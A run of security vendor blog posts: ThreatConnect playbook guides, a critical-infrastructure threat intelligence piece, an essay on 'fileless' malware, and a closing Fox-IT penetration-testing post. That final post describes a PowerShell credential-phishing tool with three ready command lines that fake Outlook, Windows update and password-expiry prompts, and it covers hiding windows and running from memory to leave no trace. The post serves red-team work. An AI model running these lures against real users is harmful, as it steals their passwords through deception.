ThreatConnect facilitates communication by providing posts which let ThreatConnect users ask question, provide answers, and make sure everyone is on the same page. One of the nice features of posts in ThreatConnect is that you can use a simple form of markdown to add links to a comment. These links go directly to the Group or Indicator you are discussing. These playbooks create links which allow you to quickly add links for a Group or Indicator to a comment.

This Playbook is triggered with a User Action Trigger available on the page for all Indicators and Groups. This means that if you want to get the text that will create a link to a Group or Indicator in a comment in ThreatConnect, you can simply click the trigger to start the playbook, click the button to copy the text, and paste that text in a comment!


Getting Started

Setting up these playbooks is easy. The instructions below will walk you through the process of downloading, importing, and using these playbooks.

First, go to and download the "group comment link creator.pbx" and/or "indicator comment link creator.pbx" files. You can download one or both of them depending on what you would like to be able to create comments for. Now we need to import the playbook(s) into ThreatConnect. To do this, go to the "Playbooks" tab in ThreatConnect and click "New" > "Import" (on ThreatConnect versions before 5.7, you can just click the "Import" button). Then import the either of the playbook files ("group comment link creator.pbx" and/or "indicator comment link creator.pbx"). Because this Playbook works with data already in ThreatConnect, there is no configuration needed. After installing the Playbook, you are ready to turn it on and run it!

Using the App

To use the app, select a Group or Indicator from the browse screen. On the page for the Group or Indicator, there should be an entry on the "Playbook Actions" card which says "Create Share Comment Link". If this is not showing up, make sure you turned the Group/Indicator comment link creator playbooks on.







The post Playbook Fridays: Group and Indicator Comment Link Creators appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

Keeping Our Nation’s Lights On… Cyber Threat Intelligence to Safeguard our Infrastructure

Allan Blog-Keeping Our Nation's LIghts On

Imagine if our national electrical grid were to stop functioning with no immediate hope of re-establishment. The likelihood of such an event might not seem high but the impact on every home, business, and person in the nation would be significant.

The widespread ramifications of such an attack is the very reason why our nation’s critical infrastructure –electric grids, power plants, etc. – is a prime terrorist target to those intending to cause significant harm to our nation, and at the minimum propagate fear and mass hysteria.

Having worked in the cybersecurity industry for more than three decades, and as LookingGlass’ CTO, there is nothing more important to myself or our company than to use every available asset and capability to provide our critical infrastructure providers with enhanced security against these types of attacks.

So, with the stakes set high, let me introduce what LookingGlass views as key ways to fortify critical infrastructure provider’s security posture.


Insight #1: Know the adversary and the target(s)

The first step is always to know the who, what, why, and would an adversary would attack. The mitigation response for one risk or actor group may not apply to another group. Some actors may be interested in fraud (via system data manipulation) whereas others may be motivated to sabotage or cause harm with intent to disrupt operational systems rendering them useless. Depending on the target and outcome, the actors may use similar tactics, techniques, and procedures (TTPs) or potentially different TTPs. All of this re-enforces the importance of quality intelligence so you can better profile and understand potential adversaries and their objectives.

Consider developing a matrix similar to the one below that identifies high-level motives and use that matrix to develop strategies on threat response across each identified motive.

Figure: High-Level Adversary Categories and Objectives

Figure: High-Level Adversary Categories & Objectives



Actor Example: NullCrew

  • Founded in 2012 to support Wikileaks founder Julian Assange
  • Responsible for multiple high profile cyberattacks
  • Preferred targets: Cable Companies & ISPs
    • Also targeted financial services companies, universities, Department of Defense, & technology companies such as Sony and ASUS
  • Members of NullCrew include: Zer0Pwn, rootcrysis, nopnc, and Siph0n
  • On February 1st, 2014, NullCrew claimed to have hacked Bell Canada and compromised their database server
  • Prior to the claim, the group published a list of leaked Bell Canada client information containing usernames, email addresses, plain-text passwords, and some credit card data


Insight #2: Understand the attack surface

Understanding the attack surface allows you to develop an understanding of where your organization is vulnerable and thus open to an attack, as well as any potential attack method. This is extremely significant when considering risk brought about by third parties.

Three aspects to scoping the attack surface are shown below.

Figure: Understanding the Intelligence Driven Attack Surface

Figure: Understanding the Intelligence Driven Attack Surface

Internet Intelligence

  • Collect the organization’s Internet point of presences and of all related organizations. This should also include how those networks are connected and how traffic is routed to them.
  • Consider monitoring Border Gateway Protocol (BGP) for route changes as well as CIDR ownership announcements to detect either malicious reconfiguration or hijacking attempts.
  • Depending on the size of critical infrastructure being protected, monitoring for all changes and other relevant meta-data (e.g. ownership/containment) for these networks it could potentially be a significant undertaking. Therefore, we recommend to either plan for large capacity data and processing or consider methods that only focus on specific networks and systems.
    Figure: Example of CIKR Internet POPs

    Figure: Example of CIKR Internet POPs


High-Quality Threat Intelligence

Once you have a well-defined understanding of what systems and processes to protect within your critical infrastructure, the next step is to collect relevant and actionable threat intelligence.There are many sources of threat intelligence that could be relevant to your critical infrastructure. Intelligence selection and refinement is a key part of maximizing the benefits to security operations. Consider choosing intelligence that can provide insight into the behaviors associated with malicious activities and any indicators (network, social, host) that can give insight into active attacks. Types of intelligence for consideration:

  • Structured Threat Intelligence
    • Malware hosting/distribution particularly malware that has been crafted to attack Critical Infrastructure and Key Resources (CIKR) systems or by actors known to attack CIKRs
    • Virus/Botnet infection known to infect CIKR systems
    • Command-and-Control activity that may be detected in any phase of the kill-chain
    • Malicious/Scanning behavior
    • Spamming or Phishing observed that would target users or systems within CIKRs
    • Questionable Asset Use within CIKR networks or connected networks
    • Emergent vulnerabilities specifically relevant to CIKR systems
    • Malware network parameters and malicious certificate information that can be used to detect such behavior
  • Unstructured Threat Intelligence
    • Compromised Account Credentials of organization admins and known third parties that are responsible for CIKR maintenance
    • Reported breaches of third parties, especially those that are responsible for some aspect of CIKR systems
    • Vulnerabilities found/announced in a third party’s product that could be used to attack the CIKR environment
    • Suspicious domain registrations & spear phishing exposure that would result in attacks being launched against CIKR infrastructure identified during the internet intelligence phase.
Figure: Example of Unique Threat Types and Threat Instances

Figure: Example of Unique Threat Types and Threat Instances

Connecting Human & Machine Insight

Intelligence derived from machine correlation of raw security data alone might not yield the same results as an effective machine + human intelligence combination can provide. Machine algorithms can be effective at processing large volumes of data and well-known patterns that can be easily computed without ambiguity. In some cases, machine algorithms can learn to improve their function provided sufficient data (training data) and appropriate learning algorithms are applied with suitable guidance from skilled experts.

However, the human-being may also have context that the machine does not (data gaps). We can fill those gaps with human analysis for additional understanding and insight that is not easily quantified into a program.  Additionally, the human element can identify multi-factor context and relationships across unrelated network behaviors that without substantial effort, machine-learning systems would not identify with sufficient accuracy.

For critical infrastructure protection, having human expertise complement machine-driven analysis is a vital check-and-balance for both detection and response, especially when making automated decisions to mitigate threats driven by intelligence.

Figure: Aggregated Threat Risk Across CIKR Sectors

Figure: Aggregated Threat Risk Across CIKR Sectors

Insight #3: Profile and identify the (weakest) links

For many critical infrastructure providers, the weakest link in their attack surface may not be their organization but a third party provider or supply chain organization on which they rely. The risk introduced by organizations who are not directly managed by your organization is highly dependent on the relationship those organizations have to the business operations and their access to critical systems. If a third party organization has admin rights to controlling or monitoring critical infrastructure systems, that organization has the same amount of risk for becoming a target as the primary owner of the equipment.

Continuous monitoring and assessments of third parties and supply chain organizations should be built-in to your security program to bring awareness and active response to weak spots in your attack surface. Consider the following questions when assessing third parties:

  1. Do we know and understand active application vulnerabilities in our own org as well as our third parties?
  2. Can a third party be used to attack our infrastructure? If yes, what are the detection and response strategies for such an attack and how do they differ from an external adversary?
  3. Do we know what data has been leaked from our third parties or supply chain? If a third party is compromised how can that impact our own security posture?

Here are some key elements to monitor for both your organization and all third party vendors:

  • Network Footprint
  • System Compromises & Infections
  • Account Compromises
  • External Facing Vulnerabilities
  • Domain & Spear Phishing Risk
  • Intelligence Indications & Warnings


Insight #4: Effective Business Process Integration

One of the key factors to improved CIKR protection is how well the threat intelligence practice is integrated into the business processes that manage those CIKR systems. It is not just what data is collected but how efficiently data is refined, how effectively is data enriched, and the subsequent processing that can affect changes to the security response of the organization.

This is particularly important when CIKR networks provide potentially life-saving services and the processes to identify and respond to threats to those networks must be highly efficient and responsive. Data-processing systems and workflow processes do not exist in isolation of each other and organizations must implement methods that connect those elements with the data in a meaningful manner that supports the security team and their operations.

The security team should focus on reducing incident time to resolution; increasing the capability of detection (& mitigation effectiveness) and numerous other important operational metrics driven by a mature intelligence processing model.

Figure: Example Intelligence Data to Reporting Operations Workflow

Figure: Example Intelligence Data to Reporting Operations Workflow

Protecting our nation’s critical infrastructure is an important issue that organizations need to prioritize. If some of the topics I outlined seem a few years down the road for your organization, then consider starting with the basics: continuously update and patch systems, regularly change passwords, train employees to identify and report cyber threats, and start implementing automation of mitigation to address known threats into your systems.

If you would like to learn more about how LookingGlass can help secure your critical infrastructure, contact me @tweet_a_t or our team @LG_Cyber.


The post Keeping Our Nation’s Lights On… Cyber Threat Intelligence to Safeguard our Infrastructure appeared first on LookingGlass Cyber Solutions Inc..

Playbook Fridays: Robtex ASN Query and Robtex IP Query

Simplify the process of pivoting through data and expanding an investigation using Robtex

ThreatConnect developed the Playbooks capability to help analysts automate time consuming and repetitive tasks so they can focus on what is most important. And in many cases, to ensure the analysis process can occur consistently and in real time, without human intervention.

Robtex is a service which gathers public information about IP addresses, domain names, host names, Autonomous systems, and more. We developed these playbooks to perform one-click querying of Robtex to help easily expand a hunt/investigation. Both of these Playbooks simplify the process of pivoting through data and expanding an investigation ( which saves analysts time and makes their research more thorough.

Querying an ASN

When doing analysis or investigating a report of malicious activity on an Autonomous System, it is helpful to see what CIDR ranges are within that Autonomous System. This Playbook uses Robtex's free API to find this information.


It is triggered with a User Action Trigger available on the page for all ASN Indicators. Once triggered, the Playbook submits the ASN to Robtex's free API and creates a CIDR range Indicator for each of the CIDR ranges within that Autonomous System. It also associates each of the newly created CIDR ranges with the ASN.

To setup the Playbook:

  1. Download the "Robtex ASN Query.pbx" file from
  2. Import the Playbook into ThreatConnect. You can do this by going to the "Playbooks" tab in ThreatConnect and clicking "New" > "Import" (on ThreatConnect versions before 5.7, you can click the "Import" button). Then import the Robtex ASN Query.pbx file.
  3. Now that the Playbook is imported, double check the variables defined in the "Set Variable 1" app by double-clicking on that app. You will want to update the "slackChannel" variable which will be used by slack apps later in the Playbook.
  4. Next, find the two apps to send slack messages ("Send Slack Message 1" and "Send Slack Message 2") and provide the missing slack API token. If you don't have slack, no problem! You can replace the slack apps with another app of your choice (maybe send an email or create a notification in ThreatConnect).
  5. Last, edit the "Create ThreatConnect CIDR 1" and provide the name of the owner in which you would like the CIDR range Indicators to be created. Once this is done, turn it on and run the Playbook!

Querying an IP Address

When investigating a malicious IP Address, it is helpful to see what Hosts have resolved to that IP Address. This Playbook allows incident responders, analysts, and threat hunters to query Robtex's free API to identify Host Indicators which are resolving or have resolved to the given IP Address in the past.

This Playbook simplifies the process of pivoting from an IP address and expanding an investigation.It is triggered with a User Action Trigger available on the page for all IP Address Indicators. Once triggered, the Playbook submits the IP Address to Robtex's free API and creates a Host Indicator for each of the Hosts that Robtex has listed as a DNS resolution for this IP address.

To setup the Playbook:

  1. Download the "Robtex IP Query.pbx" file from
  2. Import the Playbook into ThreatConnect. You can do this by going to the "Playbooks" tab in ThreatConnect and clicking "New" > "Import" (on ThreatConnect versions before 5.7, you can click the "Import" button). Then import the Robtex IP Query.pbx file.
  3. Now that the Playbook is imported, double check the variables defined in the "Set Variable 1" app by double-clicking on that app. You will want to update the "slackChannel" variable which will be used by slack apps later in the Playbook. If you don't have slack, no problem! You can replace the slack apps with another app of your choice (maybe send an email or create a notification in ThreatConnect).
  4. Next, edit all of the apps to create the Host Indicators ("Create Active DNS Hosts", "Create Historical Active DNS Hosts", "Create Passive DNS Hosts", and "Create Historical Passive DNS Hosts") and provide the name of the owner in which you would like the Host Indicators to be created.
  5. Finally, find the "Send Slack Message 1" app and provide the missing slack API token.

Don't forget that you can easily modify either of these Playbooks to fit your use case. Don't want to automatically create the Hosts as Indicators? No problem; just record them in an attribute on the IP address.

If you have any questions or run into any problems with either of these Playbooks, please raise an issue in Github.






The post Playbook Fridays: Robtex ASN Query and Robtex IP Query appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

The Language and Nature of Fileless Attacks Over Time

The language of cybersecurity evolves in step with changes in attack and defense tactics. You can get a sense for such dynamics by examining the term fileless. It fascinates me not only because of its relevance to malware—which is one of my passions—but also because of its knack for agitating many security practitioners.

I traced the origins of “fileless” to 2001, when Eugene Kaspersky (of Kaskersky Labs) used it in reference to Code Red worm’s ability to exist solely in memory. Two years later, Peter Szor defined this term in a patent for Symantec, explaining that such malware doesn’t reside in a file, but instead “appends itself to an active process in memory.”

Eugene was prophetic in predicting that fileless malware “will become one of the most widespread forms of malicious programs” due to antivirus’ ineffectiveness against such threats. Today, when I look at the ways in which malware bypasses detection, the evasion techniques often fall under the fileless umbrella, though the term expanded beyond its original meaning.

Fileless was synonymous with in-memory until around 2014.

The adversary’s challenge with purely in-memory malware is that disappears once the system restarts. In 2014, Kevin Gossett’s Symantec article explained how Powerliks malware overcame this limitation by using legitimate Windows programs rundll32.exe and powershell.exe to maintain persistence, extracting and executing malicious scripts from the registry. Kevin described this threat as “fileless,” because it avoided placing code directly on the file system. Paul Rascagnères at G Data further explained that Poweliks infected systems by using a boobietrapped Microsoft Word document.

The Powerliks discussion, and similar malware that appeared afterwards, set the tone for the way fileless attacks are described today. Yes, fileless attacks strive to maintain clearly malicious code solely or mostly in memory. Also, they tend to involve malicious documents and scripts. They often misuse utilities built into the operating system and abuse various capabilities of Windows, such as the registry, to maintain persistence.

However, the growing ambiguity behind the modern use of the term fileless is making it increasingly difficult to understand what specific methods fileless malware uses for evasion. It’s time to disambiguate this word to hold fruitful conversations about our ability to defend against its underlying tactics.

Here’s my perspective on the methods that comprise modern fileless attacks:

  • Malicious Documents: They can act as flexible containers for other files. Documents can also carry exploits that execute malicious code. They can execute malicious logic that begins the infection and initiates the next link in the infection chain.
  • Malicious Scripts: They can interact with the OS without the restrictions that some applications, such as web browsers, might impose. Scripts are harder for anti-malware tools to detect and control than compiled executables. In addition, they offer a opportunity to split malicious logic across several processes.
  • Living Off the Land: Microsoft Windows includes numerous utilities that attackers can use to execute malicious code with the help of a trusted process. These tools allow adversaries to “trampoline” from one stage of the attack to another without relying on compiled malicious executables.
  • Malicious Code in Memory: Memory injection abuses features of Microsoft Windows to interact with the OS even without exploiting vulnerabilities. Attackers can wrap their malware into scripts, documents or other executables, extracting payload into memory during runtime.

While some attacks and malware families are fileless in all aspects of their operation, most modern malware that evades detection includes at least some fileless capabilities. Such techniques allow adversaries to operate in the periphery of anti-malware software. The success of such attack methods is the reason for the continued use of term fileless in discussions among cybersecurity professionals.

Language evolves as people adjust the way they use words and the meaning they assign to them. This certainly happened to fileless, as the industry looked for ways to discuss evasive threats that avoided the file system and misused OS features. For a deeper dive into this topic, read the following three articles upon which I based this overview:

Playbook Fridays: Google Alerts RSS Reader

Read a Google Alerts RSS feed and create indicators from the links

ThreatConnect developed the Playbooks capability to help analysts automate time consuming and repetitive tasks so they can focus on what is most important. And in many cases, to ensure the analysis process can occur consistently and in real time, without human intervention.

Once in a while, there is a Google search that turns up a lot of malicious or compromised domains. When this happens, it is helpful to use Google Alerts to create a RSS feed of websites matching the search. This Playbook will then read from the RSS feed on a regular interval and create all of the urls as indicators in ThreatConnect. This is extremely useful for automating the threat hunting process especially when there is an outbreak of compromised hosts that can be easily discovered using a Google search.

ThreatConnect developed this Playbook to read a Google Alerts RSS feed and create indicators from the links.


Getting Started

There are two main parts to this system: a Google alert RSS feed and this Playbook.

There are details and instructions for setting up a RSS feed for a Google alert here:

Once you have a Google alert RSS feed setup, you can install and use the Playbook. To do this, go to and download the "Google Alert Feed Reader.pbx" file. Now, import it into ThreatConnect. Go to the "Playbooks" tab in ThreatConnect and click "New" > "Import" (on ThreatConnect versions before 5.7, you can just click the "Import" button). Then import the Google Alert Feed Reader.pbx file. Next, set up the Playbook.

To do this:

  1. Double click on the "Run on Interval" app and specify how often and when you would like the app to run.
  2. Double click the "Set Variables" app and provide the URL to a Google Alerts RSS feed. Also, set the confidence and threat ratings you would like to apply to the created indicators.
  3. Find all of the apps which have errors and fill in the missing fields (which include parameters like the ThreatConnect owner and slack API token).
  4. Turn it on and run the Playbook!





The post Playbook Fridays: Google Alerts RSS Reader appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

Top 5 ThreatConnect Resources for Malware Analysis

Malware Analysis. Some may say it's the most exciting part of the job, right? You have something you know is bad. What's it do? How's it run? Where'd it come from? These are questions we all want to know the answers to. And because technology is a beautiful thing, we have the ability to find out these answers in a safe way.

Over the past year or so, we've released some very useful information on how to use ThreatConnect to enable Malware Analysis. We've compiled them for you with the hope that it will help you in leveraging the Platform as a centralized repository for powering all of your Malware Analysis needs.

First, though, some vocabulary clarification to make sure we are all on the same page:

Automated Malware Analysis (AMA): As you may guess from the name, AMA tools take the manual systems often associated with malware analysis and package them into a solution that uses both static and dynamic analysis methods to detect existing and potential new malware.

Sandbox: This is what you can consider your safe space. It's isolated from other networks, and is a spot where you're able to run known malicious or potentially malicious code or commands without affecting anything else.

Malware Vault: This is what we call the restricted spot within the ThreatConnect Platform where malware can be uploaded and stored. In order for the malware to be uploaded successfully, there are security controls in place. These security controls include things like user access control and encryption requirements.

Playbooks: A critical piece of ThreatConnect, Playbooks allow for the automation and orchestration of various actions and decisions between ThreatConnect and other security technology your organization may be using.. As you'll find out later, they also can be used to power integrations.

With that out of the way, let's move on. 

Below are the top 5 resources we have developed to help analysts better utilize ThreatConnect for daily activities. 

  1. How to Upload Malware to ThreatConnect for Isolated Malware Analysis
    Found on the ThreatConnect Knowledge Base, this is a quick way to get your malware into ThreatConnect as the first step for isolated analysis. Due to (obvious) security concerns, we provide a safe way to complete this task and get the malware into the ThreatConnect Malware Vault. Once it's in the vault, you can start the process of digging deeper into the malicious executable, and make associations with your available intelligence. A step-by-step walkthrough (with screenshots!) can be found here: Uploading Malware to ThreatConnect 
  2. Conducting VMRay Malware Analysis with Playbooks
    This Playbook takes a suspicious or malicious file sample from ThreatConnect's Malware Vault and transmits it to an AMA solution, in this case, VMRay, submitting it for dynamic and static analysis. It turns a manual, multiple-click process into a simple, one-click process, saving you critical amounts of time. Learn how to set up a Playbook here: VMRay and ThreatConnect for Malware Analysis
  3.  Integrating ThreatConnect with Maltego
    Maltego is an open source tool for intelligence gathering. So, what's that mean? What it means is that you're able to run this interactive data mining tool for link analysis to draw correlations between malware you're examining and information from various sources. Given the massive amounts of intelligence available in ThreatConnect, it's a no-brainer to tie these tools together should you be using both in-house for better malware analysis. An integration guide for getting the two to play nicely and make your life much easier can be found here: Integrating ThreatConnect and Maltego
  4. Building an Enterprise Malware Analysis Service in ThreatConnect
    APIs are our friend. They provide a standardized (in most cases) way for a set of disparate technologies to work together. This blog is part of our "Playbook Fridays" blog series, and has a wider theme of how you can use ThreatConnect Playbooks to manage security APIs. Good news is that the practical example is how, by using ThreatConnect Playbooks, you can use APIs to map out an enterprise-grade malware analysis service. Adam Vincent, the author and ThreatConnect's CEO, takes it one step further and shows how you can create a custom dashboard to monitor the malware analysis service you set up. See it for yourself here!
    Above is a screen capture of a dashboard that allows us to quickly see how the Malware Analysis Service is being leveraged (Top left) and how the external enrichment services are being utilized as part of the service (Top Right). On the bottom left you can see who is using the Malware Analysis Service and which are heavy users. On the bottom right are the list of the most highly observed file indicators.
  5. The Diamond Model: An Analysts Best Friend
    The Diamond Model, created by Sergio Caltagirone, Chris Betz, and ThreatConnect's own Andy Pendergast, is an analytic methodology for intrusion analysis. It's meant to guide analysts as they are investigating an intrusion -- from pre to post -- to better understand the activities happening that are targeting any given victim or group of victims. Understanding how the information that may be uncovered during malware analysis is used by other members of the team will provide great context for analysts. Check out the webcast on our YouTube channel.  



Join us for a quick 30-minute bi-weekly walkthrough of the ThreatConnect Platform. This is a live demo with one of our security engineers who will be happy to answer any questions about how ThreatConnect will fit into your current security program.


The post Top 5 ThreatConnect Resources for Malware Analysis appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

Playbook Fridays: QRadar Tag Search in ThreatConnect

Correlate data in QRadar with intelligence in the form of Indicators in ThreatConnect

ThreatConnect developed the Playbooks capability to help analysts automate time consuming and repetitive tasks so they can focus on what is most important. And in many cases, to ensure the analysis process can occur consistently and in real time, without human intervention.

Ground truth is one of the most important sources informing threat intelligence. A key source of this truth is what's happening in the SIEM- QRadar in this case. Knowing this, we needed a way to the correlate data in QRadar with intelligence in the form of Indicators in ThreatConnect. This Playbook was created to provide a statistical event count, along with a snapshot of the top 5 events by frequency. Memorializing the results in an attribute on an Indicator.

Why You Want to Use it:

  • Because it easily fits into what you're already doing! The Playbook triggers off a tag, making it very simple to incorporate into an analyst's regular workflow
  • Customization ensures you can make each step relevant to you and your goals. The Playbook itself leverages modular components that make it easy to tweak and modify the underlying queries without affecting the larger Playbook
  • You'll learn what's important to your individual organization. Correlation of indicators with the ground truth of a SIEM helps highlight how relevant those indicators might be to each specific customer
  • You'll be provided with another set of data that will help with prioritization in the future.  The event data can be queried via TQL to be prioritized for further analysis

Let's walk you through the components of this Playbook in the Platform. For an in depth walkthrough, view the video below, or keep reading for a high level overview.

In a nutshell, this Playbook kicks off when a user tags an Indicator with "qSearch." The Playbook then scans QRadar for Events containing that Indicator, and adds an attribute in ThreatConnect that records the total number of events as well as the top 5 events by frequency. This attribute can then be viewed by a human for analysis or searched on for future use.

This playbook is comprised of the following:


  • QRadar Count Events

  • QRadar Events

  • Convert to MarkDown


  • Tag Search QRadar:


Again, check out this short recording to see this Playbook in action. Watch the Video on YouTube here.


The post Playbook Fridays: QRadar Tag Search in ThreatConnect appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

ThreatConnect Introduces Version 5.6

More Results, More Analysis, More ROI

Earlier this quarter we announced the release of ThreatConnect version 5.6. It's centered around making our platform even more effective for user collaboration and analysis. Having what you need exactly when you need it is critical across security operations, but especially when dealing with threat intelligence. So much so, we wanted to focus again on these updates.

With ThreatConnect 5.6, users can:

  • Find what they need sooner with revamped Search functionality
  • Visualize relationships in data via the Graph View
  • Understand how Automation and Orchestration are saving them time and money with our built-in Playbooks ROI Calculator
  • Stay on top of critical updates with the new Notifications Center
  • Manage the status of Indicators in the Platform automatically with ThreatConnect's CAL™ (Collective Analytics Layer)

Now, let's dig a bit deeper into each...

New and Improved Search

For us, everything comes down to the experience we provide to our Platform users. Based on your feedback, we've made some sweeping changes to how the Search feature works. With the new Search feature, you are able to find relevant data and intelligence faster and reduce the number of dead-end searches. Highlights include:

  • Results now distinguish between exact matches and related matches.
  • Results provide clearer and more relevant information, including Observations and False Positive reports.
  • View details on Indicators and Groups without needing to navigate away from the results.
  • Even if you search for Indicators that aren't in your instance of ThreatConnect, the results will return any data that CAL™ (Collective Analytics Layer) knows about them, in addition to giving you links to dozens of popular enrichment tools so you can continue your investigation and add them to ThreatConnect.

  • Easily assess the severity of results with ThreatAssess and CAL.

  • Search for multiple Indicators at one time, for example by inputting a log file or alert.
  • With Search History, your most recent searches are now just a click away!
  • Search now supports type-ahead and autofill.


Graph View for Visualizing Relationships

Threat intelligence is a very relational dataset: this host resolves to that IP, this IP was used by that Adversary, this Adversary perpetrated that Campaign. Answers to questions about how this puzzle ties together are best provided visually. To provide those answers, we're excited to introduce a graph visualization of intelligence in ThreatConnect. From the graph view, users can pivot to find additional relationships and view in-depth information without losing context on their investigation. The Graph View is available in ThreatConnect for every Indicator, Group, and Tag in the Platform. With Graph View, users now have a wide range of options to understand relationships in-depth and build out their investigations for faster understanding of threats.

Playbooks ROI Calculator

One of the challenges that security teams have is measuring value. At ThreatConnect, we understand how difficult it can be to justify the tools you use and the personnel that employs them. Introducing automation and orchestration makes it possible to help with that problem since they're so quantifiable. By tracking how long it takes a human to perform a task and then automating it, you are able to put metrics like time saved and dollars saved around your Playbooks.

View time and money saved over the past 7, 30, 60, and 90 days for each Playbook.

The new Playbooks ROI Calculator ​lets you quantify the return on investment of your automation and orchestration activities over the past 7, 30, 60, and 90 days. The data is available directly on each Playbook Design page, as well as on ThreatConnect Dashboards.

The ROI calculator is only available in TC ManageTM and TC CompleteTM.

Notifications Center

The Notifications Center helps analysts stay on top of critical updates to their intelligence. Users have total control over what they're notified about and how often. You can follow Indicators, Groups, Tags, and more. For each item you follow, you can specify a priority. The Notification Center gives you granular control over what happens next: an in-app alert, an immediate email, or a digest email. For each type of data, you can choose the types of notifications you want, including custom notifications using ThreatConnect's API or Playbooks. Now, you won't miss anything critical, and you won't be inundated with irrelevance! By broadly expanding the notifications capability, analysts can better accomplish key monitoring tasks.

Automatic Management of Indicator Status

Users now have the ability to manage the status of Indicators in the Platform automatically with ThreatConnect's CAL™ (Collective Analytics Layer) or set Indicator status manually. With this, analysts can keep a record of benign and/or formerly malicious indicators even if they don't want the indicators considered for action. How the indicator status was set is also recorded to provide you with context as to why that respective status is what it is.

This indicator's active status was set by the local instance of ThreatConnect.

This indicator's active status was set automatically by CAL.

Whew, that was a lot of updates! When it comes to product development, the emphasis on improving the day-to-day quality of work for analysts through usability of the Platform is apparent. The release of 5.6 is a perfect illustration of that.

Want to see some of these updates for yourself? Join us for an upcoming Platform Walkthrough. During this 30-minute bi-weekly session, one of our security engineers will conducta live demo of ThreatConnect and answer any questions you may have. Click here to register now!


The post ThreatConnect Introduces Version 5.6 appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

Phishing – Ask and ye shall receive

During penetration tests, our primary goal is to identify the difference in paths that can be used to obtain the goal(s) as agreed upon with our customers. This often succeeds due to insufficient hardening, lack of awareness or poor password hygiene. Sometimes we do get access to a resource, but do not have access to the username or password of the user that is logged on. In this case, a solution can be to just ask for credentials in order to increase your access or escalate our privileges throughout the network. This blogpost will go into the details of how the default credential gathering module in a pentesting framework like MetaSploit can be further improved and introduces a new tool and a Cobalt Strike module that demonstrates these improvements.

Current situation

Let’s say that we have a meterpreter running on our target system but were unable to extract user credentials. Since the meterpreter is not running with sufficient privileges, we also cannot access the part of the memory where the passwords reside. To ask the user for their credentials, we can use a post module to spawn a credential box on the user’s desktop that asks for their credentials. This credential box looks like the one in the image below.


While this often works in practice, a few problems arise with using this technique:

  • The style of the input box stems from Windows XP. When newer versions of Windows ask for your credentials, a different type of input box is used;
  • The credential box spawns out-of-the-blue. Even though a message and a title can be provided, it does not really look genuine; it misses a scenario where a credential box asking for your credentials can be justified.

A better solution

Because of these issues, this technique will perhaps not work on more security aware users. These users can be interesting targets as well, so we created a new script that solves the aforementioned problems. For creating a realistic scenario, the main approach was: “What would work on us?” The answer to this question must at least entail the following:

  • The credential box should be genuine and the same as the one that Windows uses;
  • The credential box should not be spawned out-of-the-blue; the user must be persuaded or should expect a credential box;
  • If (error) messages are used, the messages should be realistic. Real life examples are even better;
  • No or limited visible indications that the scenario is not real.

As a proof of concept, Fox-IT created a tool that uses the following two scenario’s:

  • Notifications that stem from an (installed) application;
  • System notifications that can be postponed.

With this, the attacker can use his creativity to deceive the user. Below are some examples that were created during the development of this tool:

Outlook lost connection to Microsoft Exchange. In order to reconnect, the user must specify credentials to reestablish connection to Microsoft Exchange.


Password that expires within a short period of time.


The second scenario imitates notifications from Windows itself, such as pending updates that need to be installed. The notification toast tricks the user into thinking that the updates can be postponed or dismissed. When the user clicks on the notification toast the user will be asked to supply their credentials.


If the user clicks on one of these notifications, the following credential box will pop up. The text of the credential box is fully customizable.


Once the user has submitted their credentials, the result is printed on the console which can be intercepted with a tool of your choosing, such as Cobalt strike. We created an aggressor script for Cobalt Strike that extends the user interface with a variety of phishing options.


Clicking on one of these options will launch the phishing attack on the remote computer. And if users enter their credentials, the aggressor script will store these in Cobalt Strike as well. The tool as well as the Cobalt Strike aggressor script are available on Fox-IT’s GitHub page:


Technical details

During the development of this tool, there were some hurdles that we needed to take. At first, we created a tool that pops a notification balloon. That worked quite well, however, the originating source of the balloon was mentioned in the balloon as well. It’s not really genuine when Windows Powershell ISE asks for Outlook credentials, so that was not a solution that satisfied us.


In recent versions of Windows, toast notifications were introduced. These notifications look almost the same as a notification balloon that we used earlier, but work entirely different. By using toast notifications, the problem that the originating source was shown was solved. However, it proved not possible to use event handlers on the toast notifications with native PowerShell. We needed an additional library that acts as a wrapper, which can be found on the following GitHub page:

That library solved one part of the issue, but needed to be present on the filesystem of the target computer. That leaves traces of our attack which we do not want, plus, we want to leave the least amount of traces of our malicious code. Therefore, we encoded the library as base64 and stored that in the PowerShell script. The base64 equivalent of the library is evaluated and loaded from memory during runtime and will leave no trace on the filesystem once the tool has been executed. So, now we had a tool capable of sending toast notifications that look genuine. Because of how Windows works, we could also create an extra layer of trust by using an application ID as the source of the notification toast. That way, if you were able to find the corresponding AppID, it looks like the toast notification was issued by the application rather than an attacker.

The notifcation toasts supports the following:

  • Custom toast notification title;
  • Custom credential box title;
  • Custom multiline toast notification message.

To make it more personal, it is possible to use references to attributes that are part of the System.DirectoryServices.AccountManagement.UserPrincipal object. These attributes can be found on the following Technet article: Additionally, the application scenario supports the following extra features when an application name is provided and can be found by the tool:

  • AppID lookup for adding extra layer of credibility. If no AppID is found, the tool will default to control panel;
  • Extraction of the application icon. The extracted icon will be used in the notification toast;
  • If no process is given or the process cannot be found, the tool will extract the information icon from the C:\Windows\system32\shell32.dll library. By modifying the script, it is easy to incorporate icons from other libraries as well;
  • Hiding of application processes. All windows will be hidden from the user for extra persuasion. The visibility will be restored once the tool is finished or when the user supplied their credentials.

Cmdline examples

For the examples above, the following onliners were used:

Outlook connection:

.\Invoke-CredentialPhisher.ps1 -ToastTitle "Microsoft Office Outlook" -ToastMessage "Connection to Microsoft Exchange has been lost.`r`nClick here to restore the connection" -Application "Outlook" -credBoxTitle "Microsoft Outlook" -credBoxMessage "Enter password for user ‘{emailaddress|samaccountname}'" -ToastType Application -HideProcesses

Updates are available:

.\Invoke-CredentialPhisher.ps1 -ToastTitle "Updates are available" -ToastMessage "Your computer will restart in 5 minutes to install the updates" -credBoxTitle "Credentials needed" -credBoxMessage "Please specify your credentials in order to postpone the updates" -ToastType System -Application "System Configuration"

Password expires:

.\Invoke-CredentialPhisher.ps1 -ToastTitle "Consider changing your password" -ToastMessage "Your password will expire in 5 minutes.`r`nTo change your password, click here or press CTRL+ALT+DELETE and then click 'Change a password'." -Application "Control Panel" -credBoxTitle "Windows Password reset" -credBoxMessage "Enter password for user '{samaccountname}'" -ToastType Application


